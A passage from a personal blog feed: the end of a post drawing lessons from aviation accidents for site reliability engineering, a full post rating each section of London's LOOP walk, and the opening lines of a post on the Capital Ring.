<p>There’s much that can be learned from these incidents and practices of the airline industry, that can be applied to other fields. A common thread in the reports is a large number of unfavourable conditions appearing at the same time. For instance, the <a href="https://imgur.com/a/uyheX">1977 Tenerife airport disaster</a> remains the deadliest in aviation history in terms of airliner passenger fatalities. There was a long chain of factors that led up to the crash of two airplanes on the runway:</p>
<p><img src="/assets/tenerife_disaster.png" alt="Tenerife disaster factors" /></p>
<p>In this case and others a lot of people lay 100% of the blame on a single factor: the pilot’s poor judgement, but the whole story should be considered. Many planes that crashed were flown by experienced pilots with excellent records, and it’s often because a series of unusual circumstances put them under pressure and enabled them to make uncharacteristically terrible decisions. Since then, precautionary measures have been added by aviation authorities to ensure that crew feel empowered to challenge captains (modern crew resource management / CRM). And radio communication between aircraft and air traffic control has become clearer and more direct.</p>
<p>The writeup reminded me of the <a href="https://en.wikipedia.org/wiki/Swiss_cheese_model">Swiss cheese model of accident causation</a>, which comes up in IT operations and security engineering. Robust systems have multiple layers of defences, so that the holes or weaknesses of one layer are counteracted by the strengths and safeguards of other layers. Accidents can occur when the holes in multiple layers align, allowing a hazard to pass through.</p>
<p>Another interesting theme from this reading was “automation dependency”. In engineering fields we generally regard automation as a great thing, as it takes care of low-level tasks, reduces human error, and lowers costs. But, if the humans operating the system do not fully understand how it works, or become complacent about automation, this can lead to catastrophe. If you have time, this video is an aviation classic:</p>
<p><a href="Children Of The Magenta Line Vimeo Video">https://vimeo.com/groups/364219/videos/159496346</a></p>
<p>In my first site reliability engineering job, I was fortunate to work with experienced engineers who were experts at triaging and fixing systems problems. When all hell was breaking loose, pagers were alarming, and customers were starting to call up, they calmly investigated to find the root cause. They knew that if they misdiagnosed and tried to solve the wrong problem, the situation could get a lot worse. Understanding what is actually happening, and not drawing overly quick conclusions by becoming over-reliant on a single potentially faulty indicator, were key lessons that I learned. Of course, I imagine all this is easier said than done, if you’re piloting an aircraft in a critical situation. So I have a huge respect for those who can keep a cool head and guide complicated systems away from disaster.</p>
Walking and Ranking the London LOOP2021-11-09T00:00:00+00:00http://laurencetennant.com/london-loop<p>The London LOOP is a 150 mile (242 km) circular walk that takes you through green areas on the edge of Greater London. My motivation for completing this is that I really enjoyed <a href="/capital-ring">walking the Capital Ring</a>, and wanted to set a more ambitious challenge.</p>
<p>Once again I am rating each section and listing good, bad, and unexpected moments.</p>
<p><img src="/assets/loop/map.jpg" alt="" /></p>
<p>The <a href="https://tfl.gov.uk/modes/walking/loop-walk">TfL website</a> has official maps for the route, but I instead highly recommend <a href="https://www.colinsaunders.org.uk/london-loop/">this guidebook</a> for detailed instructions and interesting historical facts.</p>
<h3 id="loop-vs-capital-ring">LOOP vs Capital Ring</h3>
<p>On the whole, I enjoyed walking the LOOP more than the Capital Ring. That’s because a big part of walking for me is getting away from the hustle and bustle, and the LOOP is naturally quieter being further out from the centre. However this also means that it takes longer to travel to.</p>
<p>Compared to the Capital Ring, the highs of the LOOP are higher and the lows are lower. The best parts of the LOOP (like spectacular views across the city) are amazing but the worst parts (like walking down a main road next to an asphalt plant) are dreadful. On some sections the bad parts cancel out the good parts, but on other sections, the walking is excellent all the way.</p>
<p>So overall, I’d recommend starting with the Capital Ring, as a more consistent, accessible, and historically interesting walk. I also think that my <a href="/capital-ring">blog post</a> on the Capital Ring is a better read. But the best sections of the LOOP are what I’d most like to see again.</p>
<h2 id="table-of-contents">Table of Contents</h2>
<table>
<thead>
<tr>
<th style="text-align: left">#</th>
<th style="text-align: left">Section</th>
<th style="text-align: left">Rating</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align: left">1</td>
<td style="text-align: left"><a href="#1">Erith to Old Bexley</a></td>
<td style="text-align: left">2/10</td>
</tr>
<tr>
<td style="text-align: left">2</td>
<td style="text-align: left"><a href="#2">Old Bexley to Petts Wood</a></td>
<td style="text-align: left">8/10</td>
</tr>
<tr>
<td style="text-align: left">3</td>
<td style="text-align: left"><a href="#3">Petts Wood to West Wickham Common</a></td>
<td style="text-align: left">9/10</td>
</tr>
<tr>
<td style="text-align: left">4</td>
<td style="text-align: left"><a href="#4">West Wickham Common to Hamsey Green</a></td>
<td style="text-align: left">8/10</td>
</tr>
<tr>
<td style="text-align: left">5</td>
<td style="text-align: left"><a href="#5">Hamsey Green to Coulsdon South</a></td>
<td style="text-align: left">10/10</td>
</tr>
<tr>
<td style="text-align: left">6</td>
<td style="text-align: left"><a href="#6">Coulsdon South to Banstead Downs</a></td>
<td style="text-align: left">6/10</td>
</tr>
<tr>
<td style="text-align: left">7</td>
<td style="text-align: left"><a href="#7">Banstead Downs to Ewell</a></td>
<td style="text-align: left">2/10</td>
</tr>
<tr>
<td style="text-align: left">8</td>
<td style="text-align: left"><a href="#8">Ewell to Kingston Bridge</a></td>
<td style="text-align: left">2/10</td>
</tr>
<tr>
<td style="text-align: left">9</td>
<td style="text-align: left"><a href="#9">Kingston Bridge to Hatton Cross</a></td>
<td style="text-align: left">6/10</td>
</tr>
<tr>
<td style="text-align: left">10</td>
<td style="text-align: left"><a href="#10">Hatton Cross to Hayes & Harlington</a></td>
<td style="text-align: left">3/10</td>
</tr>
<tr>
<td style="text-align: left">11</td>
<td style="text-align: left"><a href="#11">Hayes & Harlington to Uxbridge</a></td>
<td style="text-align: left">8/10</td>
</tr>
<tr>
<td style="text-align: left">12</td>
<td style="text-align: left"><a href="#12">Uxbridge to Harefield West</a></td>
<td style="text-align: left">7/10</td>
</tr>
<tr>
<td style="text-align: left">13</td>
<td style="text-align: left"><a href="#13">Harefield West to Moor Park</a></td>
<td style="text-align: left">7/10</td>
</tr>
<tr>
<td style="text-align: left">14</td>
<td style="text-align: left"><a href="#14">Moor Park to Hatch End</a></td>
<td style="text-align: left">8/10</td>
</tr>
<tr>
<td style="text-align: left">15</td>
<td style="text-align: left"><a href="#15">Hatch End to Elstree</a></td>
<td style="text-align: left">6/10</td>
</tr>
<tr>
<td style="text-align: left">16</td>
<td style="text-align: left"><a href="#16">Elstree to Cockfosters</a></td>
<td style="text-align: left">5/10</td>
</tr>
<tr>
<td style="text-align: left">17</td>
<td style="text-align: left"><a href="#17">Cockfosters to Enfield Lock</a></td>
<td style="text-align: left">9/10</td>
</tr>
<tr>
<td style="text-align: left">18</td>
<td style="text-align: left"><a href="#18">Enfield Lock to Chingford</a></td>
<td style="text-align: left">8/10</td>
</tr>
<tr>
<td style="text-align: left">19</td>
<td style="text-align: left"><a href="#19">Chingford to Chigwell</a></td>
<td style="text-align: left">3/10</td>
</tr>
<tr>
<td style="text-align: left">20</td>
<td style="text-align: left"><a href="#20">Chigwell to Havering-atte-Bower</a></td>
<td style="text-align: left">9/10</td>
</tr>
<tr>
<td style="text-align: left">21</td>
<td style="text-align: left"><a href="#21">Havering-atte-Bower to Harold Wood</a></td>
<td style="text-align: left">7/10</td>
</tr>
<tr>
<td style="text-align: left">22</td>
<td style="text-align: left"><a href="#22">Harold Wood to Upminster Bridge</a></td>
<td style="text-align: left">4/10</td>
</tr>
<tr>
<td style="text-align: left">23</td>
<td style="text-align: left"><a href="#23">Upminster Bridge to Rainham</a></td>
<td style="text-align: left">7/10</td>
</tr>
<tr>
<td style="text-align: left">24</td>
<td style="text-align: left"><a href="#24">Rainham to Purfleet</a></td>
<td style="text-align: left">?/10</td>
</tr>
</tbody>
</table>
<h2 id="-1---erith-to-old-bexley"><a name="1"></a> 1 - Erith to Old Bexley</h2>
<h4 id="rating-210">Rating: 2/10</h4>
<h4 id="the-good">The Good:</h4>
<p><img src="/assets/loop/1good.jpg" alt="" />
Walking along the Crayford Marshes give a strong sense of isolation. It’s interesting to learn about the flood defenses, and there were plenty of dragonflies to spot in summer in summer.</p>
<h4 id="the-bad">The Bad:</h4>
<p><img src="/assets/loop/1bad.jpg" alt="" />
It’s a real shame that the first LOOP section is the most desolate and grim one. Much time is spent alongside noisy and smelly industrial yards, and the latter part of the walk is utterly forgettable. On the other hand, the atmosphere of the first half of the section is memorable and gives context to London and the rest of the walk.</p>
<h4 id="the-unexpected">The Unexpected:</h4>
<p><img src="/assets/loop/1unexpected.jpg" alt="" />
On my first attempt at the LOOP with friends a decade ago, a road repair crew was blocking off this pavement on the A2. It was impossible to reach the footpath without walking on the road, which we did, and got shouted at by the foreman for “walking dangerously”. Could that blue barrier be a leftover from his work?</p>
<h2 id="-2---old-bexley-to-petts-wood"><a name="2"></a> 2 - Old Bexley to Petts Wood</h2>
<h4 id="rating-810">Rating: 8/10</h4>
<h4 id="the-good-1">The Good:</h4>
<p><img src="/assets/loop/2good.jpg" alt="" />
Foots Cray Meadows is absolutely beautiful. Besides that, there’s a variety of nice moments, including Sidcup Place Park, Scadbury Manor, and Petts Wood.</p>
<h4 id="the-bad-1">The Bad:</h4>
<p><img src="/assets/loop/2bad.jpg" alt="" />
A busy junction spoils the village atmosphere of Foots Cray. Later, you have to navigate the multi-level roundabout “Frognal Corner”.</p>
<h4 id="the-unexpected-1">The Unexpected:</h4>
<p><img src="/assets/loop/2unexpected.jpg" alt="" />
A group of baby moorhens were waddling around the remains of Scudbury Moated Manor, how cute! Petts Wood has a sundial as a monument to William Willett, a leading advocate of daylight saving time. I’m sure daylight savings made sense a century ago, but it’s a silly practice today.</p>
<h2 id="-3---petts-wood-to-west-wickham-common"><a name="3"></a> 3 - Petts Wood to West Wickham Common</h2>
<h4 id="rating-910">Rating: 9/10</h4>
<h4 id="the-good-2">The Good:</h4>
<p><img src="/assets/loop/3good.jpg" alt="" />
From Farnborough onwards this section becomes sensational walking. Huge open spaces but always varied and interesting. By the time I had passed the Wilberforce Oak and reached Keston Ponds, I had not seen another human in 45 minutes! And that’s on a summer Saturday afternoon within Greater London. Maybe everyone had gone to the beach.</p>
<h4 id="the-bad-2">The Bad:</h4>
<p><img src="/assets/loop/3bad.jpg" alt="" />
The track next to Shire Lane near Holwood Farm was overgrown with stinging nettles. Ouch.</p>
<h4 id="the-unexpected-2">The Unexpected:</h4>
<p><img src="/assets/loop/3unexpected.jpg" alt="" />
I didn’t expect to catch this robin in the height of summer.</p>
<h2 id="-4---west-wickham-common-to-hamsey-green"><a name="4"></a> 4 - West Wickham Common to Hamsey Green</h2>
<h4 id="rating-810-1">Rating: 8/10</h4>
<h4 id="the-good-3">The Good:</h4>
<p><img src="/assets/loop/4good.jpg" alt="" />
Spectacular views over London from Addington Hills. Heathfield House was lovely but the loop doesn’t dwell there for long. Overall, the section barely lets up in offering green space after green space.</p>
<h4 id="the-bad-3">The Bad:</h4>
<p><img src="/assets/loop/4bad.jpg" alt="" />
The section has so many woods and hills, it lacks variety like ponds/lakes.</p>
<h4 id="the-unexpected-3">The Unexpected:</h4>
<p><img src="/assets/loop/4unexpected.jpg" alt="" />
I was taken by surprise by this horse-shaped fallen tree. Encountered in the haunted Baker Boy Lane, where the section leaves Croydon and enters Surrey. It’s interesting just how much of the best woodland around here is owned by the City of London.</p>
<h2 id="-5---hamsey-green-to-coulsdon-south"><a name="5"></a> 5 - Hamsey Green to Coulsdon South</h2>
<h4 id="rating-1010">Rating: 10/10</h4>
<h4 id="the-good-4">The Good:</h4>
<p><img src="/assets/loop/5good.jpg" alt="" />
Farthing Downs has simply the best view out of anywhere I’ve seen in my London walks. The rest of the walk is a great lead-up to it, with Riddlesdown Park, Kenley Common, Happy Valley, and Devil’s Den Woods. Outstanding all the way.</p>
<h4 id="the-bad-4">The Bad:</h4>
<p><img src="/assets/loop/5bad.jpg" alt="" />
The loop goes on a long northwards diversion around Riddlesdown Quarry. Because I was trying to get back before sunset, I decided to take a more direct route around the south of the quarry, marked on OpenStreetMaps. I soon discovered why this route is not part of the official walk.</p>
<h4 id="the-unexpected-4">The Unexpected:</h4>
<p><img src="/assets/loop/5unexpected.jpg" alt="" />
My second detour was around the Kenley Aerodrome, which should perhaps be part of the official route. Surprisingly, despite scary Ministry of Defence signs, families were playing on the airfield.</p>
<h2 id="-6---coulsdon-south-to-banstead-downs"><a name="6"></a> 6 - Coulsdon South to Banstead Downs</h2>
<h4 id="rating-610">Rating: 6/10</h4>
<h4 id="the-good-5">The Good:</h4>
<p><img src="/assets/loop/6good.jpg" alt="" />
Once this section gets going, it’s great, with a lot of variety, keeping you engaged. It’s a shame that more time isn’t spent in Oaks Park; I wandered into the main area and it was very nice.</p>
<h4 id="the-bad-5">The Bad:</h4>
<p><img src="/assets/loop/6bad.jpg" alt="" />
The starting stretch is infuriating, spending half an hour going up residential roads, with green spaces beckoning from the sides which you don’t enter. When the trail finally gets off the road (pictured), it was overgrown and infested with flies. Later, the A217 which divides Banstead Downs golf course is one of the worst road crossings on the LOOP.</p>
<h4 id="the-unexpected-5">The Unexpected:</h4>
<p><img src="/assets/loop/6unexpected.jpg" alt="" />
One moment I was fighting through an overgrown track, the next I was suddenly in the beautiful lavender fields of Mayfield Farm, teeming with amateur photographers.</p>
<h2 id="-7---banstead-downs-to-ewell"><a name="7"></a> 7 - Banstead Downs to Ewell</h2>
<h4 id="rating-210-1">Rating: 2/10</h4>
<h4 id="the-good-6">The Good:</h4>
<p><img src="/assets/loop/7good.jpg" alt="" />
Ewell has plenty of interesting historical buildings, and a quaint villagey vibe when you first emerge into it. The effect is soon spoiled by a number of busy roads, but at least it lasts for a few brief moments.</p>
<h4 id="the-bad-6">The Bad:</h4>
<p><img src="/assets/loop/7bad.jpg" alt="" />
The first half of the section is spent walking on pavements in Surrey suburbia. Yes, half of the whole section.</p>
<h4 id="the-unexpected-6">The Unexpected:</h4>
<p><img src="/assets/loop/7unexpected.jpg" alt="" />
Nonsuch Park is apparently heaven for dogs, with them running amok in greater numbers than I have seen in any other park.</p>
<h2 id="-8---ewell-to-kingston-bridge"><a name="8"></a> 8 - Ewell to Kingston Bridge</h2>
<h4 id="rating-210-2">Rating: 2/10</h4>
<h4 id="the-good-7">The Good:</h4>
<p><img src="/assets/loop/8good.jpg" alt="" />
Hogsmill Open Space and Elmbridge Meadows are tranquil, and the approach into Kingston is pretty.</p>
<h4 id="the-bad-7">The Bad:</h4>
<p><img src="/assets/loop/8bad.jpg" alt="" />
This stroll along the Hogsmill River starts pleasantly enough, but three necessary diversions from the riverside go on to ruin it. The first sees you miss the location where Millais painted his masterpiece <a href="https://en.wikipedia.org/wiki/Ophelia_(painting)">Ophelia</a> since the path disappears (pictured). The next sees you walk a fair way up the horrible A3 just to find a subway then walk all the way down again on the other side. The last sends you down dull roads past a sewage plant. To top it off, the signage throughout was in a poor state.</p>
<h4 id="the-unexpected-7">The Unexpected:</h4>
<p><img src="/assets/loop/8unexpected.jpg" alt="" />
Kingston was packed and looked almost Mediterranean when I arrived there. A heron was watching under the bridge. It was nice after such a disappointing walk.</p>
<h2 id="-9---kingston-bridge-to-hatton-cross"><a name="9"></a> 9 - Kingston Bridge to Hatton Cross</h2>
<h4 id="rating-610-1">Rating: 6/10</h4>
<h4 id="the-good-8">The Good:</h4>
<p><img src="/assets/loop/9good.jpg" alt="" />
Bushy Park is beautiful, enchanting, full of wildlife, and without doubt one of the best experiences on the entire LOOP. Hounslow Heath is intriguingly wild.</p>
<h4 id="the-bad-8">The Bad:</h4>
<p><img src="/assets/loop/9bad.jpg" alt="" />
The middle part really lets this section down with the large amount of residential walking. Still, it’s interesting watching the character of the streets slowly change between Hampton Hill (pictured) and Hounslow.</p>
<h4 id="the-unexpected-8">The Unexpected:</h4>
<p><img src="/assets/loop/9unexpected.jpg" alt="" />
This boarded up and graffitied white building in Hounslow Cemetery, combined with the towering estates and planes overhead, gives the graveyard a spooky feel. Why do so many of the place names in this section begin with the letter “H”? Hampton, Hanworth, Hounslow, Heathrow, Hatton Cross…</p>
<h2 id="-10---hatton-cross-to-hayes--harlington"><a name="10"></a> 10 - Hatton Cross to Hayes & Harlington</h2>
<h4 id="rating-310">Rating: 3/10</h4>
<h4 id="the-good-9">The Good:</h4>
<p><img src="/assets/loop/10good.jpg" alt="" />
Cranford Park is lovely, with big open fields, red cows, a church, and a striking stable blockyard. I would have used a photo of the cows but they were covered in flies and looked fed up about it.</p>
<h4 id="the-bad-9">The Bad:</h4>
<p><img src="/assets/loop/10bad.jpg" alt="" />
Several encounters with loud and busy roads overshadow the nicer parts of this short section. The route sends you 200 metres down the A4 just to walk through the unremarkable Berkeley Meadows, despite there being a cut-through around the back. Later you walk beside the even louder A312 next to an asphalt plant.</p>
<h4 id="the-unexpected-9">The Unexpected:</h4>
<p><img src="/assets/loop/10unexpected.jpg" alt="" />
Hard to believe this idyllic scene is encountered just off the A30 nearby the huge British Airways engineering headquarters.</p>
<h2 id="-11---hayes--harlington-to-uxbridge"><a name="11"></a> 11 - Hayes & Harlington to Uxbridge</h2>
<h4 id="rating-810-2">Rating: 8/10</h4>
<h4 id="the-good-10">The Good:</h4>
<p><img src="/assets/loop/11good.jpg" alt="" />
The Colne Valley Park stretch here is fantastic. The canalside walking which makes up the bulk of this section is almost as good, with a fun diversion through a business park and golf course.</p>
<h4 id="the-bad-10">The Bad:</h4>
<p><img src="/assets/loop/11bad.jpg" alt="" />
The Grand Union Canal at Hayes Town at the beginning of this section was in a grim state, full of litter, and with no bird life to be seen apart from a flock of morbid pigeons living under a bridge. To stay positive I’m using a picture from further up the canal instead.</p>
<h4 id="the-unexpected-10">The Unexpected:</h4>
<p><img src="/assets/loop/11unexpected.jpg" alt="" />
Whoever dumped this near Packet Boat Marina does not have a healthy lifestyle. Shortly after, I had to scramble off the track as two dirt bikers came tearing up the towpath.</p>
<h2 id="-12---uxbridge-to-harefield-west"><a name="12"></a> 12 - Uxbridge to Harefield West</h2>
<h4 id="rating-710">Rating: 7/10</h4>
<h4 id="the-good-11">The Good:</h4>
<p><img src="/assets/loop/12good.jpg" alt="" />
Plenty more pleasant walking alongside the Grand Union Canal, and the associated locks, marinas, and lakes near it.</p>
<h4 id="the-bad-11">The Bad:</h4>
<p><img src="/assets/loop/12bad.jpg" alt="" />
Recognising that too much canalside walking on a narrow towpath can become monotonous, the route diverts off round Harefield Marina. However, I didn’t feel this diversion was justified; you get nice views of the lake but shortly turn off and have to walk down a road just to get back on the towpath again.</p>
<h4 id="the-unexpected-11">The Unexpected:</h4>
<p><img src="/assets/loop/12unexpected.jpg" alt="" />
“Fran’s Tea Garden” next to Denham Deep Lock looked so quaint and inviting in the summer sun.</p>
<h2 id="-13---harefield-west-to-moor-park"><a name="13"></a> 13 - Harefield West to Moor Park</h2>
<h4 id="rating-710-1">Rating: 7/10</h4>
<h4 id="the-good-12">The Good:</h4>
<p><img src="/assets/loop/13good.jpg" alt="" />
Bishop’s Wood Country Park was somewhere I’d like to explore further, and the walking around it was good although a little hemmed in by the clearly marked private farmland all around. I got lost but it was worth it as I stumbled upon rows upon rows of foxgloves.</p>
<h4 id="the-bad-12">The Bad:</h4>
<p><img src="/assets/loop/13bad.jpg" alt="" />
Across the road from the Rose and Crown pub at Woodcock Hill, a pack of assorted dogs came bolting over to the fence to bark furiously. Shortly after, a tough-looking man had to fully exert himself to stop his slavering German Shepherd from charging at me. Later on, I saw somebody else almost become a victim of a dog. What is wrong with the dogs round this part of Outer London?</p>
<h4 id="the-unexpected-12">The Unexpected:</h4>
<p><img src="/assets/loop/13unexpected.jpg" alt="" />
The Moor Park Estate is almost comical in how exclusively it presents itself. So many signs, including an electronic one just to animate “No Through Road”. The estate sums up the vibe of this section for me, rather lovely yet deliberately unwelcoming.</p>
<h2 id="-14---moor-park-to-hatch-end"><a name="14"></a> 14 - Moor Park to Hatch End</h2>
<h4 id="rating-810-3">Rating: 8/10</h4>
<h4 id="the-good-13">The Good:</h4>
<p><img src="/assets/loop/14good.jpg" alt="" />
This section was great all the way through, featuring a golf course, expansive playing fields, quiet roads, lush woods, and a farm. Just when I thought it was a shame it lacked any really notable sights, the gorgeous Pinnerwood House appeared.</p>
<h4 id="the-bad-13">The Bad:</h4>
<p><img src="/assets/loop/14bad.jpg" alt="" />
The anti-bike measures deployed throughout the section were both ineffective and slightly annoying. Towards the end, the stiles were in various states of disrepair.</p>
<h4 id="the-unexpected-13">The Unexpected:</h4>
<p><img src="/assets/loop/14unexpected.jpg" alt="" />
I got stuck behind a family whose grandmother refused to cross a stile with a horse blocking the other side (not the same place/horse as pictured). The others tried to shoo it off but it wouldn’t budge. Eventually I got tired of waiting and climbed over, squeezing right past the horse, and after I politely said “excuse me” it moved away!</p>
<h2 id="-15---hatch-end-to-elstree"><a name="15"></a> 15 - Hatch End to Elstree</h2>
<h4 id="rating-610-2">Rating: 6/10</h4>
<h4 id="the-good-14">The Good:</h4>
<p><img src="/assets/loop/15good.jpg" alt="" />
Aldenham Reservoir. The woodland in the middle of the section is very nice indeed. The trees are planted far apart, there’s hardly anyone about, the ground gently undulates, there’s history concerning W.S. Gilbert of Gilbert and Sullivan fame. To top it off there’s a mysterious telecommunications station.</p>
<h4 id="the-bad-14">The Bad:</h4>
<p><img src="/assets/loop/15bad.jpg" alt="" />
The beginning was so overgrown I could barely see the path. More generally, there’s a lot of walking along and crossing of busy roads in this section, which sadly interrupts the variety of pleasant areas.</p>
<h4 id="the-unexpected-14">The Unexpected:</h4>
<p><img src="/assets/loop/15unexpected.jpg" alt="" />
At the end of the section in the woods just before Elstree. I had a strange encounter. I heard a harsh, derisive voice shout “are you married?” and saw a shirtless man walking briskly towards me. I passed him and headed towards the source of the shout, a lady just standing there wearing a hoodie and orange reflective sunglasses. She suddenly barked at me “don’t speak!” even though I certainly had no intention to. As I got closer, she asked “it’s a lovely day, isn’t it?” I ignored her and she started cursing at me. Charming.</p>
<h2 id="-16---elstree-to-cockfosters"><a name="16"></a> 16 - Elstree to Cockfosters</h2>
<h4 id="rating-510">Rating: 5/10</h4>
<h4 id="the-good-15">The Good:</h4>
<p><img src="/assets/loop/16good.jpg" alt="" />
The village of Monken Hadley is straight from another century. Other parts of this section further support the idea that North London has the most enchanting woodlands.</p>
<h4 id="the-bad-15">The Bad:</h4>
<p><img src="/assets/loop/16bad.jpg" alt="" />
The one mile slog up and down the A1 was the lowest point of the entire LOOP. The amount of pollution inhaled from passing traffic probably cancelled out much of the exercise benefits. Shame, because the section was really nice otherwise.</p>
<h4 id="the-unexpected-15">The Unexpected:</h4>
<p><img src="/assets/loop/16unexpected.jpg" alt="" />
An informal route through Woodcock Hill Village Green, presented by the guidebook, was miles better than the official start of the section.</p>
<h2 id="-17---cockfosters-to-enfield-lock"><a name="17"></a> 17 - Cockfosters to Enfield Lock</h2>
<h4 id="rating-910-1">Rating: 9/10</h4>
<h4 id="the-good-16">The Good:</h4>
<p><img src="/assets/loop/17good.jpg" alt="" />
This section gets off to a fantastic start, with the scene above mere minutes from Cockfosters Station. After that, this section recalls Section 3 in terms of feeling like you’re anywhere but London. Peaceful rural walking almost all the way through, yet varied enough that it never feels dull.</p>
<h4 id="the-bad-16">The Bad:</h4>
<p><img src="/assets/loop/17bad.jpg" alt="" />
The path along Salmon’s Brook was poor and overgrown. Fortunately it looked like the Enfield Greenway was well under way, and it was possible to use its wide red path instead.</p>
<h4 id="the-unexpected-16">The Unexpected:</h4>
<p><img src="/assets/loop/17unexpected.jpg" alt="" />
I probably differ from most LOOP walkers in that I don’t stop for pub lunches. I just bring a sandwich and bottle of water. But the Rose & Crown made me the most tempted I’ve been so far to stop off for a pint and some chips.</p>
<h2 id="-18---enfield-lock-to-chingford"><a name="18"></a> 18 - Enfield Lock to Chingford</h2>
<h4 id="rating-810-4">Rating: 8/10</h4>
<h4 id="the-good-17">The Good:</h4>
<p><img src="/assets/loop/18good.jpg" alt="" />
Short and sweet section, with great woodlands and stunning views from Lippitts Hill of the reservoirs that provide a quarter of London’s water supply.</p>
<h4 id="the-bad-17">The Bad:</h4>
<p><img src="/assets/loop/18bad.jpg" alt="" />
Due to the metal fences, the River Lee Navigation part feels rather boxed in. Later on, it’s a shame that you have to march directly down or parallel to Bury Road rather than exploring Epping Forest more.</p>
<h4 id="the-unexpected-17">The Unexpected:</h4>
<p><img src="/assets/loop/18unexpected.jpg" alt="" />
The “Gardens of Firdaus” - wait, is this Middle Earth? Actually it’s apparently a Muslim burial ground.</p>
<h2 id="-19---chingford-to-chigwell"><a name="19"></a> 19 - Chingford to Chigwell</h2>
<h4 id="rating-310-1">Rating: 3/10</h4>
<h4 id="the-good-18">The Good:</h4>
<p><img src="/assets/loop/19good.jpg" alt="" />
Roding Valley Recreation Ground has a very nice lake, and there are a couple of great views.</p>
<h4 id="the-bad-18">The Bad:</h4>
<p><img src="/assets/loop/19bad.jpg" alt="" />
The section is chopped up into so many pieces by busy roads, a railway crossing, and a motorway crossing. And ends with a slog up to Chigwell. This is not much of a walk but more plumbing between the two great sections on either side.</p>
<h4 id="the-unexpected-18">The Unexpected:</h4>
<p><img src="/assets/loop/19unexpected.jpg" alt="" />
It’s amazing to think that this timber-framed hunting lodge has survived for almost 500 years.</p>
<h2 id="-20---chigwell-to-havering-atte-bower"><a name="20"></a> 20 - Chigwell to Havering-atte-Bower</h2>
<h4 id="rating-910-2">Rating: 9/10</h4>
<h4 id="the-good-19">The Good:</h4>
<p><img src="/assets/loop/20good.jpg" alt="" />
Fantastic rural section that leaves the roar of the city far behind, featuring two country parks and plenty of farmland.</p>
<h4 id="the-bad-19">The Bad:</h4>
<p><img src="/assets/loop/20bad.jpg" alt="" />
This was the most confusing and poorly signposted section overall. I had to rely on GPS a few times to navigate through the fields.</p>
<h4 id="the-unexpected-19">The Unexpected:</h4>
<p><img src="/assets/loop/20unexpected.jpg" alt="" />
Shortly after Chigwell Water Treatment Works, it feels as if you’re trespassing on a rich person’s property. Through a gate and over a low wall you can see a ridiculously decked-out house and garden, which feels like a rare sight typically hiding behind high walls.</p>
<h2 id="-21---havering-atte-bower-to-harold-wood"><a name="21"></a> 21 - Havering-atte-Bower to Harold Wood</h2>
<h4 id="rating-710-2">Rating: 7/10</h4>
<h4 id="the-good-20">The Good:</h4>
<p><img src="/assets/loop/21good.jpg" alt="" />
It doesn’t show up well on this photo, but the first part of this section has the best views since Farthing Downs in section 5. The area is stunning and one of the highlights of the entire LOOP.</p>
<h4 id="the-bad-20">The Bad:</h4>
<p><img src="/assets/loop/21bad.jpg" alt="" />
This footbridge at Tench Pond Plantation was in an unsafe condition, unfortunately I couldn’t figure out a way to report it to Havering council. The second part of the section gets a bit dull.</p>
<h4 id="the-unexpected-20">The Unexpected:</h4>
<p><img src="/assets/loop/21unexpected.jpg" alt="" />
You expect to see deer in Richmond Park, not on a small green patch in the middle of suburbia (Harold Hill). Also unexpectedly, the normally reliable guidebook was full of errors, saying there are no stiles and giving incorrect directions in a few places.</p>
<h2 id="-22---harold-wood-to-upminster-bridge"><a name="22"></a> 22 - Harold Wood to Upminster Bridge</h2>
<h4 id="rating-410">Rating: 4/10</h4>
<h4 id="the-good-21">The Good:</h4>
<p><img src="/assets/loop/22good.jpg" alt="" />
Pages Wood is pleasant, with random animal carvings and poems, and there’s some nice fields at the end of the section.</p>
<h4 id="the-bad-21">The Bad:</h4>
<p><img src="/assets/loop/22bad.jpg" alt="" />
You know it’s a boring section when the guidebook points out this embossed oak like it’s some notable local sight. I even saw another house with the same design on the way.</p>
<h4 id="the-unexpected-21">The Unexpected:</h4>
<p><img src="/assets/loop/22unexpected.jpg" alt="" />
Had some angry farmer added this barrier to make a point that walkers should go away? The footpath just before this was in a treacherous state too.</p>
<h2 id="-23---upminster-bridge-to-rainham"><a name="23"></a> 23 - Upminster Bridge to Rainham</h2>
<h4 id="rating-710-3">Rating: 7/10</h4>
<h4 id="the-good-22">The Good:</h4>
<p><img src="/assets/loop/23good.jpg" alt="" />
The Ingrebourne Valley offers a long stretch of quiet strolling, with historical interest in the form of WWII defences. And a huge amount of benches, exercise equipment, and a mountain bike park.</p>
<h4 id="the-bad-22">The Bad:</h4>
<p><img src="/assets/loop/23bad.jpg" alt="" />
Rainham Village was pretty but the roads around it were horribly congested with cars trying to get to the Tesco superstore.</p>
<h4 id="the-unexpected-22">The Unexpected:</h4>
<p><img src="/assets/loop/23unexpected.jpg" alt="" />
There was no litter or graffiti at all inside the pillboxes.</p>
<h2 id="-24---rainham-to-purfleet"><a name="24"></a> 24 - Rainham to Purfleet</h2>
<h4 id="rating-10">Rating: ?/10</h4>
<h4 id="the-good-23">The Good:</h4>
<p><img src="/assets/loop/24good.jpg" alt="" />
This was more interesting than the Erith section, with plenty to see including D-Day concrete barges, silos where Tilda rice is made, and funny pirate graves. I’m not giving this section a rating, as although it felt like a grim slog in a few places, it was also fascinating to see the residual industries on the edge of London.</p>
<h4 id="the-bad-23">The Bad:</h4>
<p><img src="/assets/loop/24bad.jpg" alt="" />
The guidebook describes these as a “hell’s cave of concrete pillars”, but even worse is what follows it, the path besides Ferry Lane. It was so overgrown that it was like wading through thorns. Despite walking besides a rubbish tip for miles, there was nowhere to put my litter.</p>
<h4 id="the-unexpected-23">The Unexpected:</h4>
<p><img src="/assets/loop/24unexpected.jpg" alt="" />
Unless I missed something, there was no sign or point heralding the end of the LOOP. This last waymarker, with some grey tape over the man, was all I could find.</p>
Walking and Ranking London's Capital Ring2021-05-07T00:00:00+00:00http://laurencetennant.com/capital-ring<p>The Capital Ring is a 78 mile (126 km) circular walk that is designed to take you through suburban London’s parks, open spaces, and nature reserves. It’s split into 15 sections, each of which is easy to reach from public transport.</p>
<p>My motivation for walking this, besides exercising and enjoying lovely scenery, is to try and understand better how London fits together. As <a href="http://walkaroundlondon.com/">an excellent blog</a> puts it, long city walks help you see how “pockets of life join together and interact with each other beyond the coloured lines on a rail map”.</p>
<p><img src="/assets/capital/map.jpg" alt="" /></p>
